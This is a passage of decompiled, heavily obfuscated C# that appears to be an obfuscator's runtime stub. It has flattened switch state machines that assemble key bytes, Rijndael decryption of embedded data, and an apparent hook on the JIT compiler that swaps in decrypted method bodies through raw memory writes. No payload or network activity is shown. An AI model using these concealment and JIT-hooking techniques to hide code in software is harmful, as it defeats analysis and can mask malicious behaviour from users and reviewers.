numArray2[13] = (byte) (174 - 58);
num4 = 118;
if (true)
goto label_288;
else
goto case 111;
case 290:
num5 = 227 - 75;
num1 = 196;
continue;
case 291:
numArray1[22] = (byte) num5;
num4 = 134;
if (true)
goto label_288;
else
goto case 54;
case 292:
numArray1[31] = (byte) num5;
num6 = 279;
break;
case 293:
numArray1[14] = (byte) (196 - 65);
num6 = 277;
break;
case 294:
num3 = 185 - 61;
num1 = 160;
continue;
case 295:
num3 = 165 - 56;
num6 = 249;
break;
case 296:
numArray1[5] = (byte) (102 - 51);
num4 = 103;
if (!ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk())
goto label_288;
else
goto case 368;
case 297:
numArray1[23] = (byte) (124 + 112);
num4 = 275;
if (true)
goto label_288;
else
goto case 330;
case 298:
numArray1[9] = (byte) (88 + 77);
num6 = 77;
break;
case 299:
num3 = 41 - 31;
num1 = 330;
continue;
case 300:
numArray1[0] = (byte) num5;
num1 = 228;
continue;
case 301:
numArray1[0] = (byte) (9 + 66);
num6 = 253;
break;
case 302:
numArray1[11] = (byte) num5;
num1 = 260;
continue;
case 303:
numArray1[30] = (byte) num5;
num1 = 273;
continue;
case 304:
numArray2[4] = (byte) num3;
num1 = 313;
continue;
case 305:
numArray1[1] = (byte) (103 + 23);
num1 = 213;
continue;
case 306:
num3 = 202 - 67;
num1 = 372;
continue;
case 307:
num3 = 22 + 31;
num6 = 4;
break;
case 308:
numArray1[7] = (byte) num5;
num4 = 290;
if (!ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk())
goto label_288;
else
goto case 77;
case 309:
ebVKeUQJotY5IdGdNW.QNbcbn39JuV4QoRKNv(true);
num4 = 184;
if (!ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4())
goto case 174;
else
goto label_288;
case 310:
numArray1[6] = (byte) num5;
num6 = 187;
break;
case 311:
numArray2[5] = (byte) num3;
num4 = 229;
if (!ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk())
goto label_288;
else
goto case 359;
case 312:
numArray1[27] = (byte) num5;
num1 = 7;
continue;
case 313:
num3 = 99 + 51;
num1 = (int) sbyte.MaxValue;
continue;
case 314:
numArray2[9] = (byte) num3;
num1 = 321;
continue;
case 315:
num5 = 190 - 63;
num6 = 165;
break;
case 316:
numArray3[7] = numArray4[3];
num4 = 156;
if (!ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk())
goto label_288;
else
goto case 293;
case 317:
num3 = 2 + 58;
num6 = 175;
break;
case 318:
numArray2[3] = (byte) (38 + 124);
num1 = 336;
continue;
case 319:
numArray2[12] = (byte) (114 + 94);
num4 = 347;
if (true)
goto label_288;
else
goto case 130;
case 320:
numArray1[29] = (byte) (68 + 124);
num4 = 95;
if (!ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4())
goto case 358;
else
goto label_288;
case 321:
numArray2[9] = (byte) (103 + 114);
num4 = 245;
if (!ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4())
goto case 145;
else
goto label_288;
case 322:
num3 = 168 - 56;
num1 = 135;
continue;
case 323:
num5 = 206 + 11;
num1 = 359;
continue;
case 324:
num3 = 88 + 77;
num4 = 338;
if (true)
goto label_288;
else
goto case 28;
case 325:
numArray1[11] = (byte) num5;
num1 = 195;
continue;
case 326:
numArray1[14] = (byte) num5;
num4 = 293;
goto label_288;
case 327:
num3 = 124 + 110;
num4 = 87;
goto label_288;
case 328:
numArray2[8] = (byte) (166 - 55);
num4 = 57;
if (true)
goto label_288;
else
goto case 243;
case 329:
numArray1[30] = (byte) (89 + 3);
num4 = 333;
goto label_288;
case 330:
numArray2[12] = (byte) num3;
num1 = 126;
continue;
case 331:
ebVKeUQJotY5IdGdNW.KFo9xjnJtIutWMS59s((object) cryptoStream);
num6 = 248;
break;
case 332:
numArray2[1] = (byte) num3;
num1 = 115;
continue;
case 333:
numArray1[30] = (byte) (183 - 95);
num6 = 223;
break;
case 334:
num5 = 205 - 68;
num1 = 344;
continue;
case 335:
numArray1[13] = (byte) (74 + 114);
num6 = 98;
break;
case 336:
numArray2[3] = (byte) (254 - 84);
num4 = 145;
if (!ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk())
goto label_288;
else
goto case 228;
case 337:
num5 = 13 + 21;
num6 = 257;
break;
case 338:
numArray2[9] = (byte) num3;
num4 = 54;
if (ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4())
goto label_288;
else
goto case 263;
case 339:
num5 = 87 + 100;
num4 = 308;
if (!ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4())
goto case 333;
else
goto label_288;
case 340:
numArray2[9] = (byte) num3;
num4 = 324;
if (!ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4())
goto case 48;
else
goto label_288;
case 341:
numArray1[9] = (byte) num5;
num1 = 182;
continue;
case 342:
num3 = 219 - 73;
num4 = 6;
goto label_288;
case 343:
num5 = 128 - 42;
num1 = 291;
continue;
case 344:
numArray1[12] = (byte) num5;
num4 = 70;
if (ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4())
goto label_288;
else
goto case 291;
case 345:
num3 = 97 + 87;
num4 = 17;
if (ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk())
goto case 180;
else
goto label_288;
case 346:
numArray2[13] = (byte) (83 + 54);
num4 = 35;
if (ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4())
goto label_288;
else
goto case 107;
case 347:
numArray2[12] = (byte) (245 - 81);
num4 = 299;
goto label_288;
case 348:
num5 = 4 + 79;
num4 = 85;
goto label_288;
case 349:
numArray3 = numArray2;
num4 = 247;
if (!ebVKeUQJotY5IdGdNW.koZFOU0Qd1TWxlxIK4())
goto case 214;
else
goto label_288;
case 350:
numArray2[6] = (byte) (132 - 44);
num6 = 259;
break;
case 351:
numArray2[12] = (byte) num3;
num1 = 319;
continue;
case 352:
numArray1[19] = (byte) num5;
num6 = 114;
break;
case 353:
memoryStream = new MemoryStream();
num1 = 233;
continue;
case 354:
num5 = 95 + 35;
num4 = 91;
goto label_288;
case 355:
num5 = 107 + 19;
num1 = 188;
continue;
case 356:
numArray1[25] = (byte) num5;
num4 = 354;
goto label_288;
case 357:
numArray2[15] = (byte) num3;
num1 = 278;
continue;
case 358:
numArray2[7] = (byte) num3;
num1 = 178;
continue;
case 359:
numArray1[17] = (byte) num5;
num1 = 67;
continue;
case 360:
numArray1[23] = (byte) (152 + 82);
num6 = 185;
break;
case 361:
num3 = 107 + 19;
num1 = 358;
continue;
case 362:
num5 = 14 + 47;
num1 = 143;
continue;
case 363:
num3 = 104 - 86;
num4 = 332;
if (true)
goto label_288;
else
goto case 311;
case 364:
numArray1[4] = (byte) num5;
num6 = 197;
break;
case 365:
numArray1[10] = (byte) num5;
num4 = 27;
if (!ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk())
goto label_288;
else
goto case 324;
case 366:
numArray1[26] = (byte) num5;
num1 = 105;
continue;
case 367:
num5 = 104 + 48;
num1 = 258;
continue;
case 368:
num5 = 5 + 58;
num4 = 214;
if (true)
goto label_288;
else
goto case 117;
case 369:
numArray1[13] = (byte) (164 + 62);
num1 = 152;
continue;
case 370:
numArray1[13] = (byte) num5;
num1 = 32;
continue;
case 371:
numArray1[17] = (byte) (133 - 44);
num1 = 47;
continue;
case 372:
numArray2[2] = (byte) num3;
num4 = 193;
if (!ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk())
goto label_288;
else
goto case 167;
case 373:
goto label_379;
default:
num4 = 97;
if (ebVKeUQJotY5IdGdNW.t7yP0iOxXn1dT5Mhpk())
goto case 360;
else
goto label_288;
}
num4 = num6;
label_288:
num1 = num4;
}
label_379:
try
{
return (string) ebVKeUQJotY5IdGdNW.PotuIO4mGfaaVLfDHD(ebVKeUQJotY5IdGdNW.uIRWaEXq0oqBcyhJOm(), (object) ebVKeUQJotY5IdGdNW.gbcXCakqv, obj0 + 4, num2);
}
catch
{
}
return "";
}
[ebVKeUQJotY5IdGdNW.CXcShx4Pv0nDRFrvAv(typeof (ebVKeUQJotY5IdGdNW\u002FCXcShx4Pv0nDRFrvAv\u002FxEVtlxX8F6lnQqD8mm<object>[]))]
[MethodImpl(MethodImplOptions.NoInlining)]
internal static string Mu1NjLd4D([In] string obj0)
{
"{11111-22222-50001-00000}".Trim();
byte[] bytes = Convert.FromBase64String(obj0);
return Encoding.Unicode.GetString(bytes, 0, bytes.Length);
}
[ebVKeUQJotY5IdGdNW.CXcShx4Pv0nDRFrvAv(typeof (ebVKeUQJotY5IdGdNW\u002FCXcShx4Pv0nDRFrvAv\u002FxEVtlxX8F6lnQqD8mm<object>[]))]
[MethodImpl(MethodImplOptions.NoInlining)]
internal static uint DvYigmja2(
[MarshalAs(UnmanagedType.U8)] ref ulong _param0,
[In] IntPtr obj1,
[In] IntPtr obj2,
[MarshalAs(UnmanagedType.U4)] uint _param3,
[In] ref IntPtr obj4,
[In] ref uint obj5)
{
if (ebVKeUQJotY5IdGdNW.Ddd7QgGlp)
{
if (ebVKeUQJotY5IdGdNW.nBw8CvPtM == Marshal.ReadIntPtr(obj2, IntPtr.Size))
{
if (IntPtr.Size == 4)
{
try
{
int num1 = Marshal.ReadInt32(obj2, 8);
int index = Marshal.ReadInt32(new IntPtr(num1));
bool flag = false;
if (index >= 1879048192)
{
index -= 1879048192;
flag = true;
}
if (index < ebVKeUQJotY5IdGdNW.gIeSg3usw.Length)
{
if (ebVKeUQJotY5IdGdNW.ufjDNIIUq[index] == (long) num1)
{
byte[] source = ebVKeUQJotY5IdGdNW.gIeSg3usw[index];
IntPtr num2 = Marshal.AllocCoTaskMem(source.Length);
Marshal.Copy(source, 0, num2, source.Length);
if (flag)
{
obj4 = num2;
obj5 = (uint) source.Length;
return 0;
}
Marshal.WriteIntPtr(obj2, 8, num2);
Marshal.WriteInt32(obj2, 12, source.Length);
return ebVKeUQJotY5IdGdNW.p1ce5FDX3(ref _param0, obj1, obj2, _param3, ref obj4, ref obj5);
}
}
}
catch
{
}
}
else
{
try
{
long num3 = Marshal.ReadInt64(obj2, 16);
int index = Marshal.ReadInt32(new IntPtr(num3));
bool flag = false;
if (index >= 1879048192)
{
index -= 1879048192;
flag = true;
}
if (index < ebVKeUQJotY5IdGdNW.gIeSg3usw.Length)
{
if (ebVKeUQJotY5IdGdNW.ufjDNIIUq[index] == num3)
{
byte[] source = ebVKeUQJotY5IdGdNW.gIeSg3usw[index];
IntPtr num4 = Marshal.AllocCoTaskMem(source.Length);
Marshal.Copy(source, 0, num4, source.Length);
if (flag)
{
obj4 = num4;
obj5 = (uint) source.Length;
return 0;
}
Marshal.WriteIntPtr(obj2, 16, num4);
Marshal.WriteInt32(obj2, 24, source.Length);
}
}
}
catch
{
}
}
}
return ebVKeUQJotY5IdGdNW.p1ce5FDX3(ref _param0, obj1, obj2, _param3, ref obj4, ref obj5);
}
ebVKeUQJotY5IdGdNW.Ddd7QgGlp = true;
ebVKeUQJotY5IdGdNW.nBw8CvPtM = Marshal.ReadIntPtr(obj2, IntPtr.Size);
return ebVKeUQJotY5IdGdNW.p1ce5FDX3(ref _param0, obj1, obj2, _param3, ref obj4, ref obj5);
}
[MethodImpl(MethodImplOptions.NoInlining)]
static void SJFGuZaaV()
{
}
[ebVKeUQJotY5IdGdNW.CXcShx4Pv0nDRFrvAv(typeof (ebVKeUQJotY5IdGdNW\u002FCXcShx4Pv0nDRFrvAv\u002FxEVtlxX8F6lnQqD8mm<object>[]))]
[MethodImpl(MethodImplOptions.NoInlining)]
static void FY0pFREJk()
{
int num1 = 38;
label_28:
while (true)
{
int num2 = num1;
label_29:
byte[] numArray1;
int num3;
int num4;
byte[] numArray2;
IntPtr num5;
int num6;
BinaryReader binaryReader;
byte[] numArray3;
long num7;
long num8;
IntPtr num9;
byte[] numArray4;
RijndaelManaged rijndaelManaged;
long int64;
IntPtr num10;
int num11;
string str1;
while (true)
{
string str2;
do
{
int num12;
byte[] numArray5;
byte[] numArray6;
int index;
byte[] numArray7;
byte[] numArray8;
IntPtr num13;
byte[] numArray9;
int num14;
int num15;
ulong num16;
do
{
do
{
do
{
do
{
int num17;
IntPtr num18;
IntPtr num19;
do
{
byte[] buffer;
CryptoStream cryptoStream;
bool flag;
MemoryStream memoryStream;
uint num20;
do
{
int num21 = num2;
int num22;
while (true)
{
IntPtr num23;
IntPtr num24;
Process process;
ICryptoTransform transform;
ebVKeUQJotY5IdGdNW.MttKDN6ssv7t5XCD4h mttKdN6ssv7t5XcD4h;
switch (num21)
{
case 0:
goto label_245;
case 1:
numArray1[5] = (byte) num3;
num21 = 324;
continue;
case 2:
goto label_57;
case 3:
goto label_90;
case 4:
goto label_294;
case 5:
num3 = 129 - 113;
num21 = 146;
continue;
case 6:
numArray1[16] = (byte) (51 + 70);
num21 = 82;
continue;
case 7:
goto label_115;
case 8:
cryptoStream = new CryptoStream((Stream) memoryStream, transform, CryptoStreamMode.Write);
num21 = 25;
continue;
case 9:
goto label_330;
case 10:
goto label_99;
case 11:
num6 = 252 - 84;
goto case 205;
case 12:
num3 = 197 - 65;
num21 = 345;
continue;
case 13:
num3 = 180 - 60;
num21 = 407;
continue;
case 14:
numArray1[10] = (byte) (199 - 113);
num2 = 187;
if (true)
goto label_29;
else
goto case 443;
case 15:
goto label_423;
case 16:
numArray4[2] = (byte) 114;
num2 = 304;
if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9())
goto label_29;
else
goto case 372;
case 17:
goto label_258;
case 18:
goto label_352;
case 19:
goto label_349;
case 20:
ebVKeUQJotY5IdGdNW.ud76QUgni(new IntPtr(num7), ebVKeUQJotY5IdGdNW.ADNsbrNwBBGFe0rAli(), num14, ref num14);
num2 = 78;
if (true)
goto label_29;
else
goto case 129;
case 21:
goto label_241;
case 22:
num3 = 192 - 117;
num2 = 246;
if (true)
goto label_29;
else
goto case 16;
case 23:
num6 = 79 + 5;
num21 = 351;
continue;
case 24:
goto label_335;
case 25:
goto label_59;
case 26:
numArray1[10] = (byte) (19 + 14);
num21 = 429;
continue;
case 27:
num3 = 132 - 44;
num2 = 145;
if (true)
goto label_29;
else
goto case 162;
case 28:
numArray1[26] = (byte) num3;
num21 = 81;
continue;
case 29:
ebVKeUQJotY5IdGdNW.gIeSg3usw = new byte[ebVKeUQJotY5IdGdNW.ufjDNIIUq.Length][];
num21 = 253;
continue;
case 30:
goto label_284;
case 31:
numArray2[4] = (byte) (149 + 24);
num21 = 341;
continue;
case 32:
num3 = 88 + 22;
num2 = 96;
if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9())
goto label_29;
else
goto case 221;
case 33:
numArray1[31] = (byte) num3;
num21 = 197;
continue;
case 34:
goto label_201;
case 35:
numArray1[3] = (byte) (98 + 109);
num21 = 347;
continue;
case 36:
numArray1[13] = (byte) (180 - 60);
num21 = 390;
continue;
case 37:
goto label_297;
case 38:
if (!ebVKeUQJotY5IdGdNW.hNfjH4VW7)
{
num21 = 47;
continue;
}
goto label_479;
case 39:
goto label_234;
case 40:
numArray1[14] = (byte) num3;
num2 = 91;
if (true)
goto label_29;
else
goto case 397;
case 41:
num3 = 166 - 55;
num2 = 405;
if (true)
goto label_29;
else
goto case 32;
case 42:
goto label_503;
case 43:
goto label_402;
case 44:
numArray2[14] = (byte) (225 - 75);
num21 = 217;
continue;
case 45:
num3 = 235 - 78;
num21 = 7;
continue;
case 46:
goto label_178;
case 47:
goto label_80;
case 48:
num6 = 206 + 2;
num2 = 329;
if (true)
goto label_29;
else
goto case 301;
case 49:
goto label_238;
case 50:
numArray1[10] = (byte) (66 + 61);
num21 = 98;
continue;
case 51:
case 219:
if (num4 >= num17)
{
num21 = 169;
continue;
}
goto label_510;
case 52:
goto label_377;
case 53:
goto label_210;
case 54:
numArray1[16] = (byte) (47 - 30);
num21 = 312;
continue;
case 55:
goto label_516;
case 56:
goto label_252;
case 57:
goto label_332;
case 58:
num3 = 205 - 103;
num21 = 311;
continue;
case 59:
numArray2[1] = (byte) num6;
num21 = 441;
continue;
case 60:
numArray1[4] = (byte) (120 + 33);
num21 = 89;
continue;
case 61:
goto label_462;
case 62:
goto label_308;
case 63:
goto label_362;
case 64:
goto label_231;
case 65:
case 374:
ebVKeUQJotY5IdGdNW.ud76QUgni(num13, 4, num12, ref num12);
num21 = 335;
continue;
case 66:
numArray1[17] = (byte) (79 - 34);
num2 = 13;
if (true)
goto label_29;
else
goto case 362;
case 67:
goto label_21;
case 68:
goto label_507;
case 69:
numArray1[7] = (byte) (230 - 76);
num21 = 210;
continue;
case 70:
numArray2[13] = (byte) (126 - 42);
num21 = 298;
continue;
case 71:
goto label_310;
case 72:
numArray1[27] = (byte) num3;
num21 = 166;
continue;
case 73:
num6 = 142 - 47;
num2 = 346;
if (true)
goto label_29;
else
goto case 227;
case 74:
goto label_13;
case 75:
goto label_327;
case 76:
goto label_417;
case 77:
goto label_235;
case 78:
goto label_523;
case 79:
goto label_407;
case 80:
goto label_317;
case 81:
numArray1[26] = (byte) (215 - 95);
num21 = 86;
continue;
case 82:
numArray1[16] = (byte) (211 - 70);
num2 = 424;
if (true)
goto label_29;
else
goto case 6;
case 83:
goto label_364;
case 84:
goto label_382;
case 85:
goto label_359;
case 86:
numArray1[27] = (byte) (197 - 65);
num21 = 242;
continue;
case 87:
goto label_415;
case 88:
numArray1[18] = (byte) num3;
num21 = 355;
continue;
case 89:
goto label_375;
case 90:
num3 = 37 + 13;
num21 = 368;
continue;
case 91:
numArray1[14] = (byte) (114 + 52);
num2 = 12;
if (ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN())
goto label_29;
else
goto case 334;
case 92:
numArray1[19] = (byte) num3;
num2 = 450;
if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9())
goto label_29;
else
goto case 212;
case 93:
goto label_225;
case 94:
goto label_307;
case 95:
goto label_75;
case 96:
goto label_246;
case 97:
numArray2[1] = (byte) (22 + 45);
num2 = 359;
if (true)
goto label_29;
else
goto case 197;
case 98:
goto label_213;
case 99:
goto label_413;
case 100:
goto label_263;
case 101:
goto label_256;
case 102:
num3 = 198 - 66;
num21 = 94;
continue;
case 103:
goto label_504;
case 104:
num6 = 240 - 80;
num21 = 402;
continue;
case 105:
numArray1[28] = (byte) (81 + 42);
num21 = 175;
continue;
case 106:
goto label_249;
case 107:
goto label_218;
case 108:
goto label_33;
case 109:
numArray2[15] = (byte) num6;
num21 = 113;
continue;
case 110:
goto label_443;
case 111:
goto label_26;
case 112:
numArray5[11] = numArray6[5];
num2 = 241;
if (true)
goto label_29;
else
goto case 271;
case 113:
numArray2[15] = (byte) (66 + 12);
num2 = 223;
if (true)
goto label_29;
else
goto case 427;
case 114:
goto label_300;
case 115:
num3 = 86 + 56;
num2 = 87;
if (true)
goto label_29;
else
goto case 270;
case 116:
num20 = 0U;
num21 = 147;
continue;
case 117:
goto label_304;
case 118:
goto label_397;
case 119:
goto label_365;
case 120:
goto label_406;
case 121:
numArray2[8] = (byte) (96 - 16);
num21 = 61;
continue;
case 122:
goto label_367;
case 123:
goto label_36;
case 124:
goto label_520;
case 125:
num3 = 110 + 89;
num21 = 331;
continue;
case 126:
goto label_336;
case (int) sbyte.MaxValue:
goto label_45;
case 128:
goto label_370;
case 129:
numArray1[4] = (byte) num3;
num21 = 370;
continue;
case 130:
numArray2[1] = (byte) num6;
num21 = 165;
continue;
case 131:
goto label_314;
case 132:
goto label_452;
case 133:
numArray4 = new byte[10];
num21 = 213;
continue;
case 134:
goto label_63;
case 135:
goto label_321;
case 136:
goto label_191;
case 137:
goto label_41;
case 138:
goto label_509;
case 139:
goto label_387;
case 140:
goto label_368;
case 141:
num6 = 86 + 58;
num2 = 49;
if (!ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN())
goto case 301;
else
goto label_29;
case 142:
numArray2[7] = (byte) (146 + 64);
num21 = 254;
continue;
case 143:
num3 = 229 - 76;
num21 = 71;
continue;
case 144:
numArray2[12] = (byte) (158 - 52);
num2 = 48;
if (ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9())
goto case 301;
else
goto label_29;
case 145:
numArray1[15] = (byte) num3;
num21 = 303;
continue;
case 146:
goto label_515;
case 147:
goto label_232;
case 148:
goto label_271;
case 149:
goto label_440;
case 150:
goto label_11;
case 151:
num3 = 161 + 58;
num21 = 427;
continue;
case 152:
goto label_98;
case 153:
ebVKeUQJotY5IdGdNW.xm3sCgZLslZ69UwNk6((object) memoryStream);
num21 = 136;
continue;
case 154:
numArray2[11] = (byte) (242 - 80);
num21 = 343;
continue;
case 155:
case 179:
process = (Process) ebVKeUQJotY5IdGdNW.nCsJHndtrWihmbV9CH();
num2 = 306;
if (true)
goto label_29;
else
goto case 333;
case 156:
goto label_129;
case 157:
goto label_65;
case 158:
goto label_301;
case 159:
goto label_498;
case 160:
numArray3[0] = (byte) 103;
num21 = 74;
continue;
case 161:
goto label_299;
case 162:
num6 = 80 + 66;
num21 = 59;
continue;
case 163:
goto label_420;
case 164:
goto label_35;
case 165:
num6 = 120 + 41;
num21 = 379;
continue;
case 166:
goto label_502;
case 167:
numArray4[9] = (byte) 108;
num21 = 181;
continue;
case 168:
goto label_512;
case 169:
goto label_114;
case 170:
numArray4[7] = (byte) 100;
num21 = 232;
continue;
case 171:
numArray1[15] = (byte) num3;
num2 = 243;
if (ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN())
goto label_29;
else
goto case 105;
case 172:
goto label_363;
case 173:
goto label_39;
case 174:
numArray5[5] = numArray6[2];
num21 = 338;
continue;
case 175:
goto label_505;
case 176:
goto label_353;
case 177:
numArray1[24] = (byte) num3;
num21 = 410;
continue;
case 178:
goto label_233;
case 180:
// ISSUE: type reference
mttKdN6ssv7t5XcD4h = (ebVKeUQJotY5IdGdNW.MttKDN6ssv7t5XCD4h) ebVKeUQJotY5IdGdNW.\u0033FK47EGLqy9BbMPjXA(num23, ebVKeUQJotY5IdGdNW.BXNWa8Ct5VGQVcTJjB(__typeref (ebVKeUQJotY5IdGdNW.MttKDN6ssv7t5XCD4h)));
num21 = 373;
continue;
case 181:
goto label_525;
case 182:
numArray5[3] = numArray6[1];
num21 = 174;
continue;
case 183:
numArray1[22] = (byte) (79 - 35);
num21 = 45;
continue;
case 184:
goto label_182;
case 185:
// ISSUE: type reference
if (ebVKeUQJotY5IdGdNW.\u0037h8dKB7JHZfd1qf2To((object) ebVKeUQJotY5IdGdNW.BXNWa8Ct5VGQVcTJjB(__typeref (ebVKeUQJotY5IdGdNW)).Assembly) != null)
{
num21 = 413;
continue;
}
goto label_394;
case 186:
goto label_183;
case 187:
numArray1[11] = (byte) ((int) sbyte.MaxValue - 42);
num21 = 32;
continue;
case 188:
numArray1 = new byte[32];
num21 = 270;
continue;
case 189:
transform = (ICryptoTransform) ebVKeUQJotY5IdGdNW.KSbJegMdRD9MEXCI5U((object) rijndaelManaged, (object) numArray9, (object) numArray5);
num2 = 340;
if (!ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN())
goto case 32;
else
goto label_29;
case 190:
goto label_184;
case 191:
goto label_464;
case 192:
goto label_506;
case 193:
if (ebVKeUQJotY5IdGdNW.ADNsbrNwBBGFe0rAli() == 4)
{
num21 = 176;
continue;
}
num7 = ebVKeUQJotY5IdGdNW.EnsIQRI83GGSP1iwiX(num19);
num21 = 445;
continue;
case 194:
numArray1[17] = (byte) num3;
num21 = 53;
continue;
case 195:
goto label_112;
case 196:
goto label_37;
case 197:
numArray1[31] = (byte) (232 - 77);
num21 = 384;
continue;
case 198:
goto label_53;
case 199:
num3 = 56 + 71;
num2 = 409;
if (true)
goto label_29;
else
goto case 360;
case 200:
goto label_379;
case 201:
goto label_517;
case 202:
numArray1[28] = (byte) num3;
num21 = 105;
continue;
case 203:
goto label_97;
case 204:
num3 = 231 - 77;
num21 = 438;
continue;
case 205:
case 236:
numArray2[2] = (byte) num6;
num21 = 104;
continue;
case 206:
goto label_416;
case 207:
goto label_328;
case 208:
goto label_244;
case 209:
ebVKeUQJotY5IdGdNW.bMuuf1sEiUCTRmuruU((object) cryptoStream);
num21 = 297;
continue;
case 210:
goto label_439;
case 211:
ebVKeUQJotY5IdGdNW.qtw6Y63n394PWtw1Qd(ebVKeUQJotY5IdGdNW.\u0039slFhO6Zyjqu52QWgD((object) binaryReader), 0L);
num21 = 387;
continue;
case 212:
numArray4[9] = (byte) 100;
num21 = 114;
continue;
case 213:
numArray4[0] = (byte) 99;
num21 = 442;
continue;
case 214:
goto label_337;
case 215:
goto label_257;
case 216:
numArray1[24] = (byte) num3;
num21 = 199;
continue;
case 217:
numArray2[14] = (byte) (208 - 69);
num21 = 164;
continue;
case 218:
goto label_333;
case 220:
if (!ebVKeUQJotY5IdGdNW.Xj1isH2kjkv70LY4U3(num10, IntPtr.Zero))
goto case 448;
else
goto label_111;
case 221:
numArray2[7] = (byte) (11 + 7);
num2 = 43;
if (true)
goto label_29;
else
goto case 222;
case 222:
numArray2[13] = (byte) (246 - 82);
num2 = 70;
if (true)
goto label_29;
else
goto case 250;
case 223:
numArray2[15] = (byte) (244 - 81);
num21 = 231;
continue;
case 224:
goto label_496;
case 225:
case 375:
numArray2[1] = (byte) num6;
num2 = 420;
if (true)
goto label_29;
else
goto case 258;
case 226:
goto label_369;
case 227:
numArray2[6] = (byte) (160 - 53);
num21 = 364;
continue;
case 228:
goto label_87;
case 229:
goto label_399;
case 230:
goto label_61;
case 231:
goto label_117;
case 232:
goto label_77;
case 233:
// ISSUE: type reference
if (ebVKeUQJotY5IdGdNW.DSeHdiqqaYUJ82ElSX((object) ebVKeUQJotY5IdGdNW.BXNWa8Ct5VGQVcTJjB(__typeref (ebVKeUQJotY5IdGdNW)).Assembly) != null)
{
num21 = 163;
continue;
}
goto label_394;
case 234:
goto label_445;
case 235:
num13 = new IntPtr(int64 + (long) num22);
num21 = 247;
continue;
case 237:
goto label_130;
case 238:
goto label_409;
case 239:
goto label_478;
case 240:
goto label_48;
case 241:
goto label_199;
case 242:
numArray1[27] = (byte) (39 + 72);
num2 = 435;
if (!ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN())
goto case 116;
else
goto label_29;
case 243:
goto label_1;
case 244:
goto label_38;
case 245:
num22 = ebVKeUQJotY5IdGdNW.\u00351DIJQmesbhUfvgWNY((object) binaryReader) - num11;
num2 = 284;
if (ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9())
goto case 306;
else
goto label_29;
case 246:
goto label_62;
case 247:
goto label_389;
case 248:
goto label_446;
case 249:
goto label_430;
case 250:
numArray2[14] = (byte) (49 + 124);
num21 = 55;
continue;
case 251:
num23 = ebVKeUQJotY5IdGdNW.ELesPQern(num10, str2);
num21 = 180;
continue;
case 252:
goto label_400;
case 253:
flag = false;
num2 = 276;
if (true)
goto label_29;
else
goto case 141;
case 254:
goto label_453;
case (int) byte.MaxValue:
goto label_414;
case 256:
goto label_398;
case 257:
ebVKeUQJotY5IdGdNW.ud76QUgni(num5, 4, num12, ref num12);
num21 = 392;
continue;
case 258:
numArray1[29] = (byte) (219 - 73);
num21 = 447;
continue;
case 259:
goto label_410;
case 260:
num3 = 128 - 42;
num2 = 42;
if (!ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN())
goto case 408;
else
goto label_29;
case 261:
goto label_175;
case 262:
numArray2[10] = (byte) (225 - 75);
num2 = 239;
if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9())
goto label_29;
else
goto case 14;
case 263:
goto label_305;
case 264:
numArray1[25] = (byte) num3;
num21 = 415;
continue;
case 265:
num3 = 121 + 104;
num21 = 408;
continue;
case 266:
goto label_390;
case 267:
num3 = 198 - 66;
num2 = 148;
if (true)
goto label_29;
else
goto case 286;
case 268:
num3 = 175 - 58;
num2 = 206;
if (true)
goto label_29;
else
goto case 381;
case 269:
num6 = 106 + 75;
num21 = 122;
continue;
case 270:
numArray1[0] = (byte) (156 - 52);
num21 = 260;
continue;
case 271:
if (ebVKeUQJotY5IdGdNW.ADNsbrNwBBGFe0rAli() == 4)
{
num2 = 414;
if (true)
goto label_29;
else
goto case 281;
}
else
goto label_499;
case 272:
goto label_67;
case 273:
goto label_497;
case 274:
goto label_193;
case 275:
numArray2[15] = (byte) (149 - 49);
num2 = 293;
if (ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9())
goto case 360;
else
goto label_29;
case 276:
case 335:
goto label_226;
case 277:
goto label_309;
case 278:
numArray1[5] = (byte) num3;
num2 = 356;
if (true)
goto label_29;
else
goto case 380;
case 279:
goto label_107;
case 280:
goto label_52;
case 281:
numArray1[13] = (byte) (113 + 117);
num21 = 337;
continue;
case 282:
goto label_261;
case 283:
goto label_5;
case 284:
goto label_173;
case 285:
numArray2[4] = (byte) (17 + 17);
num21 = 75;
continue;
case 286:
numArray2[2] = (byte) (125 - 41);
num21 = 261;
continue;
case 287:
numArray1[7] = (byte) (5 + 53);
num21 = 383;
continue;
case 288:
numArray2[13] = (byte) (225 - 75);
num2 = 222;
if (true)
goto label_29;
else
goto case 313;
case 289:
numArray1[6] = (byte) num3;
num21 = 101;
continue;
case 290:
goto label_2;
case 291:
numArray4[2] = (byte) 99;
num21 = 417;
continue;
case 292:
goto label_220;
case 293:
goto label_189;
case 294:
goto label_422;
case 295:
numArray1[10] = (byte) num3;
num2 = 14;
if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9())
goto label_29;
else
goto case 202;
case 296:
// ISSUE: type reference
